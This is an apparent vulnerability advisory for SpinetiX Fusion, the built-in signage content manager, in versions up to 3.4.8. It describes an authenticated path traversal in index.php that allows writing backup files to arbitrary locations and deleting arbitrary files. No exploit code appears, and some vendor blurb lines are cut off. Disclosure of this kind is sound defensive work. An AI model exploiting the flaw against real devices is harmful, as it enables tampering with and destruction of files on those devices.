Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)
Summary: At SpinetiX we inspire businesses to unlock the
potential of their story.
We believe in the power of digital signage as a dynamic new

to engage with people. For more than 13 years, we have been
constantly innovating
to deliver cutting-edge digital signage solutions that help our

Fusion is a built-in content management application accessible from
a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100
device, and does
not require any additional license, cost, or software
installation.
Desc: The application suffers from an authenticated path
traversal vulnerability.
Input passed via several parameters in index.php script is not
properly verified
before being used to create and delete files. This can be exploited
to write backup
files to an arbitrary location and/or delete arbitrary files via
traversal attacks.
